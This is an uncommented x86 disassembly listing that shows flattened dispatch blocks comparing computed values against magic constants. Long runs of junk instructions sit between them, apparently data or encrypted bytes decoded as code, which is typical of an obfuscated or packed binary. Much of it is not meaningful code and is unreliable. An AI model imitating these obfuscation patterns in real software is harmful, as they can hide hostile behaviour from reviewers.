or eax, dword [ebp - 0xec]
je 0x70b5e502
mov edx, 0xc4077
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0xb207a
or eax, dword [ebp - 0xec]
je 0x70b5cbb7
mov edx, 0xb207a
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0xa3042
or eax, dword [ebp - 0xec]
je 0x70b60d7a
mov edx, 0xa3042
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x84e37
or eax, dword [ebp - 0xec]
je 0x70b626c5
mov edx, 0x84e37
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x81266
or eax, dword [ebp - 0xec]
je 0x70b5c6a8
mov edx, 0x81266
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x7431d
or eax, dword [ebp - 0xec]
je 0x70b5fe4d
mov edx, 0x7431d
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x69f71
or eax, dword [ebp - 0xec]
je 0x70b5f42f
mov edx, 0x69f71
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x5f55e
or eax, dword [ebp - 0xec]
je 0x70b62bd4
mov edx, 0x5f55e
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x5b0bb
or eax, dword [ebp - 0xec]
je 0x70b61798
mov edx, 0x5b0bb
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x49780
or eax, dword [ebp - 0xec]
je 0x70b61289
mov edx, 0x49780
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x42ba5
or eax, dword [ebp - 0xec]
je 0x70b5ef20
mov edx, 0x42ba5
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x3d11b
or eax, dword [ebp - 0xec]
je 0x70b5d5d5
mov edx, 0x3d11b
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x29f9a
or eax, dword [ebp - 0xec]
je 0x70b5dff3
mov edx, 0x29f9a
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x23d3c
or eax, dword [ebp - 0xec]
je 0x70b630e3
mov edx, 0x23d3c
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x1fe89
or eax, dword [ebp - 0xec]
je 0x70b5dae4
mov edx, 0x1fe89
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x1314d
or eax, dword [ebp - 0xec]
je 0x70b61ca7
mov edx, 0x1314d
mov eax, 0
cmp edx, dword [ebp - 0xf0]
sbb eax, dword [ebp - 0xec]
jl 0x70b635f2
mov eax, dword [ebp - 0xf0]
xor eax, 0x88de
or eax, dword [ebp - 0xec]
je 0x70b5f93e
mov eax, dword [ebp - 0xf0]
xor eax, 0x11cfa
or eax, dword [ebp - 0xec]
je 0x70b621b6
jmp 0x70b635f2
int3
mov dh, 0xb9
ret
sar cl, 1
out 0x2e, eax
xchg ecx, eax
inc esi
push ss
mov esi, 0x7f6833be
test eax, 0xbd960211
invalid
mov ebx, 0xd3d4b317
scasd eax, dword es:[edi]
pop es
pop esi
int3
aad 0xc3
sub byte [eax - 0x1a], dh
sbb esi, 0xffffffd3
rcl dword [esi], cl
cmp byte [eax - 0x38], ah
popal
sti
loop 0x70b5d5b6
stosb byte es:[edi], al
pop ebx
jb 0x70b5d5df
invalid
mov byte [0xe9cc903c], al
cvtdq2ps xmm0, xmmword [eax]
add byte [eax + 0x1463f8f7], bh
cmp al, 0x90
int3
mov eax, 0x1463f8f7
pop eax
add byte [edx + ecx*8 - 0x3e6c1a9c], cl
mov al, 0x37
stc
push eax
xor al, 0xf1
mov eax, dword ds:[0x51f51989]
jae 0x70b5dadc
clc
mov al, 0xe8
sub edi, esp
add bh, byte [ebp - 0x7e14ea82]
mov cl, 0xca
cdq
or esp, dword [esi + 0x7ea91644]
jl 0x70b5dadb
push es
invalid
cmpsd dword [esi], dword es:[edi]
sbb eax, 0x3ec4cfaa
xor cl, dh
pushal
mov dh, 0xc2
invalid
cmp dword [esp + ecx - 0x22], ebp
salc
invalid
cmpsb byte [esi], byte es:[edi]
loope 0x70b5e515
lcall 0x88c7, 0x243fb817
or byte [0x80e9a41d], ch
aas
and al, 0xc7
mov byte [eax], cl
sub eax, 0x80e9a41d
xchg esp, eax
mov ebx, 0xc16807fe
jns 0x70b5e4ab
fcom dword [eax + 0x50f1e9cc]
add byte [eax], al
clc
pop ss
mov ecx, dword [ebx + edx*4 + 0x47708a2b]
je 0x70b5e551
salc
mov ebp, 0xf3d1f963
in eax, dx
xchg dword [ebp - 0x4e9d3ebe], esp
movsd dword es:[edi], dword [esi]
inc edx
shl dword [edx - 0x4f], 0x1a
adc dh, byte [edx - 0x36]
sbb dl, byte [edx]
jb 0x70b5e4e8
loope 0x70b5e4e2
pop ebp
jns 0x70b5e588
sub byte [edi + 0xfdb7df9], 4
mov edx, 0xf814b206
adc al, 0xf8
xor ebp, ecx
pop eax
into
cmpsd dword [esi], dword es:[edi]
outsb dx, byte [esi]
xor dword [esi - 0x32], ebp
inc esp
mov dword [0xb15eec2a], eax
loopne 0x70b5e51a
in al, dx
pop esi
mov cl, 0xe0
fiadd dword [eax + 0x12f2db47]
xchg esi, eax
sub eax, 0xa6044636
add byte [edi - 0x25], 0xf2
adc dl, byte [esi + 0x446362d]
cmpsb byte [esi], byte es:[edi]
jmp 0x70b5e52d
stosd dword es:[edi], eax
cmp dword [ecx - 0x2c], edi
add dl, byte [eax - 0x32ca9234]
jl 0x70b5e56f
and dword [esi + 0x5c], edi
lea esi, [ebp - 0x4c]
ud1
cld
cld
dec ebp
or eax, 0xa6a8e1dd
mov eax, dword [0x79d3e4bc]
aas
in al, 0xd3
jns 0x70b5e5b2
mov ebx, 0xa9a2723a
jecxz 0x70b5e58d
in al, dx
jle 0x70b5e566
retf
mov esp, 0x14429790
push ss
lds edx, [esi + 0x4f929197]
movsd dword es:[edi], dword [esi]
inc ebx
add byte [ecx + 0x3af2f3db], bl
cmp byte [ecx - 0x28], ah
jl 0x70b5e53b
add dword [ecx], esi
xor al, byte [eax - 9]
or ch, byte [eax + 6]
mov gs, word [ebx - 0x5b336fad]
add ebx, esp
mov esi, 0x90361333
xor edx, dword [ebx]
nop
aam 0xdf
pop ss
cli
je 0x70b5e617
inc esp
jb 0x70b5e5b9
aad 0x26
inc esi
mov ebx, 0x76a4ad52
dec esp
push ecx
xchg esi, eax
sub dword [ecx + 0xdd7a8c0], edx
inc ecx
popal
or byte [ecx - 0x4459ad5a], al
movsb byte es:[edi], byte [esi]
mov esi, 0x78d577ec
cmpsb byte [esi], byte es:[edi]
push edx
cmpsb byte [esi], byte es:[edi]
mov ebx, 0x77ecbea4
aad 0x78
mov word [edi + ecx*8], gs
into
inc ecx
adc edx, dword [eax]
sahf
je 0x70b5e5d6
xor byte [esi - 0x62], bl
xchg ebx, eax
push ebp
sahf
cmpsd dword [esi], dword es:[edi]
mov ebp, 0x4cfb9f10
popal
xchg edx, eax
sbb dword [ebx + 0x3f], edi
clc
jp 0x70b5e621
mov eax, 0x90bb3f82
int3
fmul qword [edx]
cmpsd dword [esi], dword es:[edi]
sbb dword [edi], ecx
xor al, 0x8b
out 0x21, eax
cmp eax, 0xc16daa0d
loope 0x70b5e657
das
mov cl, 0xbc
cld
mov dh, 0x2b
push ds
xor eax, 0x46a6d33e
push ebx
scasd eax, dword es:[edi]
inc ebx
dec edi
imul esi, dword [edi + eax + 0x4e], 0x25
das
mov dh, 0xf4
insd dword es:[edi], dx
jg 0x70b5e627
invalid
xchg ebp, eax
nop
int3
cmc
rcr edx, 0x62
jae 0x70b5e99d
mov ebx, 0xc6158f9d
sbb eax, 0xb6b0f247
clc
push edx
pop ecx
jle 0x70b5e99e
sub byte [edx - 0x70], al
int3
xlatb
xor al, 0x81
xchg edx, eax
lcall 0x2a5e, 0xfa208ae1
jns 0x70b5e9a8
retf
mov fs, ebp
fstp dword [ebx + 0x32edde3e]
nop
int3
jecxz 0x70b5e9dc
mov cl, 5
salc
call 0xd07f7e88
jns 0x70b5ea02
mov ecx, 0xf7fe317f
inc ecx
retf 0xd76f
sub esi, edx
enter 0xffffffffffffa9ad, 0xfffffffffffffff5
shld esp, ebp, cl
jmp 0x1459b55c
sal dword ds:[edx + 0xd], 1
popal
mov ebp, 0x4eb579bc
mov al, byte es:[0x21edebf2]
cli
ret 0xc67e
sub byte [eax], bl
push ss
jbe 0x70b5f9bd
jmp 0xf03318e6
sal byte [ecx - 0x26de82bc], 1
mov dl, 3
xor dword [ebx + 0x23], esp
sub al, 0x1d
push ebx
mov al, 0x67
ret
invalid
cld
xchg ebx, eax
or eax, 0xb1e65fcb
stosd dword es:[edi], eax
mov eax, 0x552c54d9
mov dh, 0xa1
wait
shr dl, cl
cmpsd dword [esi], dword es:[edi]
invalid
dec edx
invalid
aaa
out 0x81, al
cld
xor al, byte [eax + ecx*4 + 0x2e]
xor esp, dword [ebx - 0x37]
daa
loope 0x70b6089b
cmp eax, 0x4f717182
ja 0x70b6081e
and ecx, ebp
jb 0x70b608bc
pop esp
dec ebp
push ebx
mov byte [0x830d7b85], al
push esi
push 0xffffffffffffffc8
jno 0x70b608d9
xlatb
xchg ebp, eax
jns 0x70b608dd
xor eax, 0x97f84970
and ebx, dword [ebp - 0x543299dd]
dec edi
and byte [edx + ebx*2 - 0x34ea85ba], bh
bound edi, qword [ecx]
aas
push ecx
pop edx
pop es
enter 0x16b7, 0xb
test eax, 0x589962c
ret 0x9c79
add eax, 0x859c79c2
fsub st(7)
nop
test eax, ebx
out 0x90, eax
int3
sub dword [ecx - 0x15964b81], 0xb178689d
imul ebp, edx, 0xb178689d
je 0x70b608b8
not byte [edx - 0x5564bf21]
invalid
retf 0xc2b7
loope 0x70b60d32
xchg esi, eax
retf
mov eax, 0x37aeeab1
imul esi, ecx, 0x9e621b88
cmp dword [ebp - 0x21], edi
imul eax, eax, 0x170f59da
invalid
invalid
pushal
js 0x70b6166f
pop esi
aaa
sub bh, byte [ebp + 0x51]
movsd dword es:[edi], dword [esi]
out dx, eax
mov ecx, fs
invalid
retf 0x9b67
jl 0x70b616d7
xor edi, dword [eax]
std
mov ch, 9
pop esp
push edx
js 0x70b616fa
dec edi
nop
int3
sbb al, 0xd7
dec ecx
jecxz 0x70b6172f
sub al, 0xd2
cli
mov eax, 0xea0415a1
xor byte [ecx - 0x6f], ah
add dword [ebp - 0x4677ea2c], esp
aad 0x5e
mov esp, 0x6a75f2c4
jbe 0x70b617de
sub eax, 0x59fd05d5
aad 0x54
adc dword [ebx + 0x5e4d42d8], esi
mov ebx, 0xf1cb17e1
adc byte [edi + 0x3c13b393], dh
adc al, 0xa0
ret 0xfac2
mov ebp, 0xb68b53c
pop ss
add esp, 0x5e
push ecx
scasd eax, dword es:[edi]
daa
test eax, 0x63cc9086
jno 0x70b61847
or dword [eax + ebx*4], 0xffffffc0
push edi
ret
imul edi, eax, 0xc
push es
aam 0x62
jle 0x70b61872
adc eax, 0x764dccb1
scasb al, byte es:[edi]
or dword [esi + 0x6a], ebx
cmpsb byte [esi], byte es:[edi]
inc ebx
add edi, edx
add dword [ebp + 0x31dc0289], edi
inc byte [edx + 0x12]
hlt
mov edx, 0x201c29a5
dec esi
adc al, 0x21
mov edx, 0x386b0349
mov al, 0xb3
aad 0x2b
mul ch
leave
int1
bound edi, qword [ecx - 0x5f]
pop esi
jno 0x70b618af
xor dh, bl
and edi, dword [eax - 0x5b]
and dword [edx - 0x6f23c237], esp
int3
imul ebp, dword [esi], 0xe
jmp 0x70b618d4
xor dword [esi - 0x7d], 0xcc52ba96
xchg edi, eax
or cl, byte [eax]
pop edi
cld
adc dword [edx - 0x79d4edb], ebp
cwde
mov ah, 0xf7
mov ah, 0xdf
invalid
mov bl, 0x1b
rcl dword [ecx - 2], 0xeb
add al, 0xd8
fist dword [esi]
div dword [edi + 0x7c775342]
js 0x70b61ccb
add bl, byte [edx + 0x64]
out 0xa0, eax
arpl word [0x5e2537e3], bp
push cs
int1
mov ecx, dword [esi - 0xd]
dec ebp
add al, byte [edi - 0x36babb29]
push edx
inc ebp
aam 0x27
int3
add dword [eax - 0x70e0de71], eax
sub byte [esi + 0x1969d752], cl
ret
insd dword es:[edi], dx
mov edx, 0x8ee55a70
mov dl, 3
std
push cs
push ss
nop
int3
dec esi
stosb byte es:[edi], al
insb byte es:[edi], dx
sbb byte [esi - 0x1f], dl
add al, byte [ecx]
mov edx, 0x9e8512e
out dx, eax
ficom dword [eax + 0x14]
jae 0x70b62140
lahf
push cs
and edx, ebp
pop ss
stosb byte es:[edi], al
cdq
mov dword [edi], 0xc7adee73
adc dword [edx], ecx
xchg byte [eax + ebp*2 + 0x3c], al
in al, 0xea
pop es
fcomp dword [eax - 0x188d0581]
push ss
jns 0x70b620c3
ljmp 0x7307:0xc799aa17
std
js 0x70b620f8
retf 0xec9f
sbb eax, 0xc0fd6587
sbb byte [esi + 0x6802f69e], dh
rcr byte [eax], 0xb6
sahf
test byte [edx], 0x68
jo 0x70b621aa
inc esi
adc eax, 0xbf8bc61
mul edi
out 0x73, al
jne 0x70b62144
nop
int3
jnp 0x70b6211e
jg 0x70b62107
sub ecx, dword [ebx]
mov ah, dl
sbb al, cl
dec ebx
int1
ret
sub byte [ebx], bl
xor bl, ah
cli
nop
int3
add edi, dword [edi + 0x1d61dc7b]
xchg byte [edx], dh
std
lcall 0x9ad6, 0xd3bcbc85
jb 0x70b621d3
mov bh, 0x30
xor eax, 0xc94a9271
push eax
xlatb
and edx, dword [esp + edi*8]
xor byte [edx + 0x29], bl
dec eax
jl 0x70b6216d
jg 0x70b6223b
push ebp
adc eax, 0x23752e39
int3
wait
in eax, dx
movsd dword es:[edi], dword [esi]
lodsd eax, dword [esi]
std
xlatb
push eax
daa
push edi
xor al, 0x97
add dword [ebx - 0x4656fb56], edx
imul ebp, dword [ebp + 0x6e], 0xb1ae5c89
lcall 0x1481, 0x70132ea0
mov bl, 0x1d
invalid
rcl bh, 1
out 0x2e, al
inc ecx
out 0xe6, eax
jnp 0x70b626ca
out dx, al
test al, 0xf6
sbb eax, 0x6d84e94
push cs
stosb byte es:[edi], al
into
enter 0xd06, 0x10
mov ch, 0xbe
wait
adc ebx, ebx
bound esi, qword [edx + 0x44]
test eax, 0xed946718
adc eax, 0xdc549f79
add edi, dword [eax]
div dword [edx]
jnp 0x70b626ef
xchg ebx, eax
push ss
push edi
sub al, 0x3b
pop ebp
sub dword [eax], edx
adc al, 0xe9
push eax
or esi, dword [edx + 0x1b]
sub eax, 0xec6fa28e
and dword [eax + edx*4], eax
int3
jmp 0x70b635f3
add byte [ebp - 0x643eb9f6], cl
wait
je 0x70b62679
jle 0x70b6274c
pop ds
and dl, byte [edi]
in al, dx
inc ecx
int3
in eax, 0x7e
add bh, dh
loope 0x70b62691
jle 0x70b626c0
sub eax, 0x209b5543
lea edx, [esi]
push ss
jae 0x70b626e0
xchg edi, eax
invalid
pop edi
loope 0x70b627c6
sbb dword [eax - 0x2b898ab5], esp
push ebp
mov cl, 0x43
sal byte [eax + 0x258c6185], 1
out 7, al
invalid
int3
invalid
mov eax, 0x68450c17
pushal
pop ebp
scasd eax, dword es:[edi]
adc dword [eax + 0x1f], ebx
mov eax, dword [0x92683ff7]
retf 0xa134
nop
jmp 0x70b635f3
nop
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xf8], 0x99e4f
mov dword [ebp - 0xf4], 0
mov dword [ebp - 0x100], 0x7a52e
mov dword [ebp - 0xfc], 0
mov eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xf4]
sub eax, dword [ebp - 0x100]
sbb edx, dword [ebp - 0xfc]
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x104], edx
mov eax, dword [ebp - 0x108]
xor eax, 0xf3edf
or eax, dword [ebp - 0x104]
je 0x70b63e24
mov edx, 0xf3edf
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0xd85e7
or eax, dword [ebp - 0x104]
je 0x70b670ba
mov edx, 0xd85e7
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0xd0366
or eax, dword [ebp - 0x104]
je 0x70b65260
mov edx, 0xd0366
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0xcb16a
or eax, dword [ebp - 0x104]
je 0x70b6669c
mov edx, 0xcb16a
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0xc7d7c
or eax, dword [ebp - 0x104]
je 0x70b67ad8
mov edx, 0xc7d7c
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0xc083f
or eax, dword [ebp - 0x104]
je 0x70b63915
mov edx, 0xc083f
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0xb843f
or eax, dword [ebp - 0x104]
je 0x70b6618d
mov edx, 0xb843f
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0x99546
or eax, dword [ebp - 0x104]
je 0x70b675c9
mov edx, 0x99546
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0x98cf1
or eax, dword [ebp - 0x104]
je 0x70b65c7e
mov edx, 0x98cf1
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0x9471d
or eax, dword [ebp - 0x104]
je 0x70b64842
mov edx, 0x9471d
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0x57fd4
or eax, dword [ebp - 0x104]
je 0x70b66bab
mov edx, 0x57fd4
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0x5663f
or eax, dword [ebp - 0x104]
je 0x70b64333
mov edx, 0x5663f
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0x1f921
or eax, dword [ebp - 0x104]
je 0x70b67fea
mov edx, 0x1f921
mov eax, 0
cmp edx, dword [ebp - 0x108]
sbb eax, dword [ebp - 0x104]
jl 0x70b67fe4
mov eax, dword [ebp - 0x108]
xor eax, 0xf85f
or eax, dword [ebp - 0x104]
je 0x70b64d51
mov eax, dword [ebp - 0x108]
xor eax, 0x18628
or eax, dword [ebp - 0x104]
je 0x70b6576f
jmp 0x70b67fe4
adc al, cl
and byte [ebx + ebx*4 + 0x58], bl
ret
ficom word [eax - 0x79182e34]
adc esp, esp
invalid
inc edx
push ss
lahf
push cs
or eax, 0x8c111bc7
je 0x70b63e27
mov cl, byte [ecx - 0x2554716e]
sbb eax, 0xa8a2522c
mov eax, 0x953299e
push ecx
jle 0x70b63dc6
sahf
sbb dword [edx], edi
or al, 0x4d
add byte fs:[edx + ebp*2 - 0x377797b5], cl
lodsb al, byte [esi]
jmp 0x3588f8c8
mov eax, 0xe700003c
leave
out 0xc9, eax
mov eax, 0x191ce08e
shr byte [eax - 0x74466ec6], 1
or byte [0xf9e1fc01], bl
stc
add dword [ecx + edx + 0x6336efde], 0xc50337cd
or dword [edi - 0x6d4bb98b], edi
fnstsw word [esi - 0x6492bfc4]
pop esp
pop ecx
cmp byte [edx - 0x7228bcbd], ch
clc
mov ecx, ecx
jns 0x70b6432f
dec ebp
sub byte [edi + 0x1c], al
xor esi, ebx
mov edi, 0x22b4a1ed
add byte [esi + 0x26f60d07], ah
pop ebx
add eax, dword [edi - 0x44d1eb93]
sub ecx, ebx
nop
int3
invalid
sti
push es
insb byte es:[edi], dx
salc
invalid
les edx, [esi + 0x74822572]
mul ch
pop eax
and eax, 0xcc9032bb
push eax
and dl, dh
jg 0x70b64d16
aam 0x7e
outsb dx, byte [esi]
invalid
jecxz 0x70b64d7a
movsb byte es:[edi], byte [esi]
inc ebx
popal
stosd dword es:[edi], eax
xor ah, 0xa9
pop es
xor dword [edx - 0x46], edx
xlatb
add eax, 0xbd7e5f96
cld
jbe 0x70b64cc2
cld
out dx, al
fld xword [edi + esi - 0x44]
sbb ecx, dword [edi]
push ebx
pop edx
idiv byte [edx + eax*8]
aaa
invalid
dec ebx
dec ecx
xchg esp, eax
xchg esp, eax
adc dword [edx + 0x13], ecx
jle 0x70b64dd2
lodsd eax, dword [esi]
js 0x70b64da1
xor eax, 0x825f8f9
jge 0x70b64ce8
invalid
pop ebp
xchg esp, eax
sbb ecx, dword [ebx]
mov word [ebx + 0x3b], ss
and esi, 0xffffffb1
and dword [ebp + 0x34], edx
add byte [edx + 0x23], ch
xchg ebx, eax
pushfd
mov dword [0x992d3de], eax
cwde
xchg esi, eax
pop esi
shl byte [edx - 0x498f1ae7], 0x43
xlatb
shl dword [edx], 1
sub eax, 0x20ae87cb
mov eax, esp
nop
int3
scasb al, byte es:[edi]
and byte [ebx - 0xa336f3c], cl
add byte [eax], dl
pop edx
jne 0x70b64d55
stosb byte es:[edi], al
fcom qword [0x12e66903]
xchg ebx, eax
xchg esi, ecx
inc edx
xchg byte [ecx + 0x71e03789], ch
out 0xf5, eax
scasb al, byte es:[edi]
xchg dword [eax + 0x447d49a9], edi
mov eax, dword [0xf1141836]
stosd dword es:[edi], eax
and dl, byte [eax + 0x168127b5]
jp 0x70b64e23
nop
mov ch, 0x27
adc dword [esi], 0xedf84d7a
clc
in eax, dx
ljmp 0xe788:0x8d7aeeaf
pop edx
test eax, 0xb9951c99
scasd eax, dword es:[edi]
pop ecx
xor al, byte [ebp - 0x20680d13]
jl 0x70b64e94
sbb ah, byte [eax + 0x7c795099]
fstp xword [ebp - 0x74908bac]
rol byte [edx + 0x79], 1
ja 0x70b64dcf
shl bh, cl
pushfd
sar dword [ebx], cl
inc ebp
test byte [eax], bh
mov byte [0xf8baadcd], al
nop
int3
loope 0x70b64ea4
invalid
shl byte [esi + 0x7e5b9264], 1
pop ds
xchg ecx, eax
pop ds
push edi
xchg cl, dl
call 0xf43a6284
fdiv qword [eax + edx*4 - 0x535ec734]
div byte gs:[ebx + 0x4b]
dec ah
push ebp
ja 0x70b64f29
sbb esp, 0xffffffb4
nop
int3
mov eax, dword [0xcaf14333]
movsd dword es:[edi], dword [esi]
jns 0x70b64f16
cmp byte [edi + ebx*4], bl
lahf
push ds
cdq
cmp ah, byte [ebx + 0x77]
sub dh, bl
arpl word [esi], dx
leave
inc eax
daa
add eax, 0xde35ba08
or al, 0x1f
cmp byte [edi], ah
add dword [edi - 0x657dde2f], ebx
jge 0x70b64e8f
enter 0xffffffffffffe5cf, 0xffffffffffffffaf
scasd eax, dword es:[edi]
sub dh, byte [esi + edi*8 + 0x67626637]
xor bh, byte [esi + 0x38]
mov edi, 0x77a22ae2
test eax, 0xf877115e
sub ah, byte [edx + 0x115ea977]
mov byte [0x115ea977], al
ja 0x70b64eee
outsb dx, byte [esi]
sbb ebp, dword [edi]
push eax
sbb esp, dword [esi]
sub dl, byte [eax + 0x2c1332cc]
sub esp, dword [edx - 0x3d]
dec edx
add edi, dword [esi]
jmp 0x70b64f5b
out 0x9e, al
sbb eax, 0x155fe484
inc edi
add ebp, esp
add byte [edx], al
aam 0xbd
insd dword es:[edi], dx
xor byte [edi + 0x2ebaa2e5], dl
mov dh, al
fst qword [ebx - 0x43b4a53f]
mov edx, 0xddc6882e
xchg ebx, eax
rcr dword [edx + 0x4b], 0xbc
mov ebp, 0x89af1c46
pop esp
xchg ebp, eax
jns 0x70b64ebf
out dx, al
leave
adc esp, dword [0x337247e3]
retf 0xc650
dec esi
ror dword [eax - 0x24b33b8d], 0x5e
loopne 0x70b64eef
dec eax
std
xchg byte [ecx + ebp*8 + 0x78], al
out 0x21, al
adc dl, byte [edx]
fidivr dword [ebx - 0x4f636623]
sub byte fs:[ebx - 0x53a23d42], bh
push edi
mov dh, 0x9c
insd dword es:[edi], dx
push ebp
mov esp, 0x1cd4fdd7
aam 0xb6
push 0x6d6a6541
push ds
invalid
dec ebx
pop ebx
sub ch, byte [esi + 0x4f]
pop edx
push 0xa0e5a83e
in al, 0xae
cmp eax, 0x4d5f2a9f
ljmp 0xee27
push edx
dec ebp
sub byte [edx - 0x7e], ah
sbb al, 0xa7
inc edx
mov ebx, 0x83a844e0
sub dword [ebx - 0x51edee0d], ebx
pop edx
mov ah, 0xd2
popal
pushfd
cmpsd dword [esi], dword es:[edi]
mov al, byte [0x2cdd8a8b]
pushal
or dword [ecx], edi
pop es
push ebp
cmp eax, 0xb85b5375
inc esp
lodsb al, byte [esi]
mov dword [0x71b1a801], eax
call 0xaa817271
sub byte [ecx - 0x4bbd49f9], ch
std
loope 0x70b65824
aam 0x28
lcall 0x10ac, 0xa2c6e532
lodsd eax, dword [esi]
int1
lodsb al, byte [esi]
adc al, 0xb6
push edx
scasd eax, dword es:[edi]
add eax, 0x902862d2
int3
ret
dec esp
mov eax, dword [0xa2306b35]
movntq qword [ebx + 0x78c62018], mm5
mov dh, byte [eax]
stosd dword es:[edi], eax
cmp ch, byte [ebx - 0x57eaf3e6]
pop ebp
mov byte [0xf8d30f73], al
push ebp
int3
and al, 0xc0
stosb byte es:[edi], al
fld qword [ecx - 2]
and al, 0xe8
lcall 0x1a13, 0xc6c35148
add eax, 0x32651291
in eax, dx
les eax, [bx + 0x35]
retf 0x3b73
ror dword [eax + 0x3ea452cb], 1
int1
invalid
lahf
cdq
les edx, [edi]
mov ebp, 0xd8d6015b
jl 0x70b666da
mov bh, 0xbb
fcmovu st(0), st(5)
jns 0x70b6665c
or al, 0x93
lodsb al, byte [esi]
invalid
outsb dx, byte [esi]
outsb dx, byte [esi]
enter 0x1f0, 0x7f
sub dword [eax + 0x5a283eaa], ebx
mov edi, 0x4261fb9f
dec esi
inc esp
les esi, [0x69cc9029]
test dword [eax + 0x5f258294], esp
pop ebx
scasb al, byte es:[edi]
adc eax, 0x65ccbd22
cmc
and al, 0xcb
xor dword [ebp - 0x1f], ecx
mov eax, 0x567c676f
lodsd eax, dword [esi]
inc ebx
in eax, dx
mov eax, 0x26666224
popfd
jp 0x70b66718
aam 0x40
inc eax
bound ebp, qword [ecx + ebx*2]
invalid
lea edi, [esi]
clc
out 0x42, al
iretd
retf 0xf87a
cmpsd dword [esi], dword es:[edi]
scasd eax, dword es:[edi]
std
rcl byte [esi - 0xf]
pop ecx
push 0x938955d4
aam 0xa3
rcl eax, 1
xor edi, dword [edi + ecx*4 + 0x68]
frstor dword [esi]
test eax, 0x3ecf7c71
xor eax, 0x19c079d6
mov ebp, 0x178a68f9
push esi
test dword [edi - 0x4d], edi
das
outsd dx, dword [esi]
out 3, al
pushfd
ret 0x49cb
out dx, eax
shl dword [ebx], cl
dec esp
pop edx
popal
invalid
nop
jmp 0x70b6e977
nop
jmp 0x70b6e977
mov dword [ebp - 0xc8], 0x1a5bf
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xd0], 0x697b0
mov dword [ebp - 0xcc], 0
mov eax, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xcc]
sub eax, dword [ebp - 0xc8]
sbb edx, dword [ebp - 0xc4]
mov dword [ebp - 0xd8], eax
mov dword [ebp - 0xd4], edx
mov eax, dword [ebp - 0xd8]
xor eax, 0xf39cb
or eax, dword [ebp - 0xd4]
je 0x70b6b1bf
mov edx, 0xf39cb
mov eax, 0
cmp edx, dword [ebp - 0xd8]
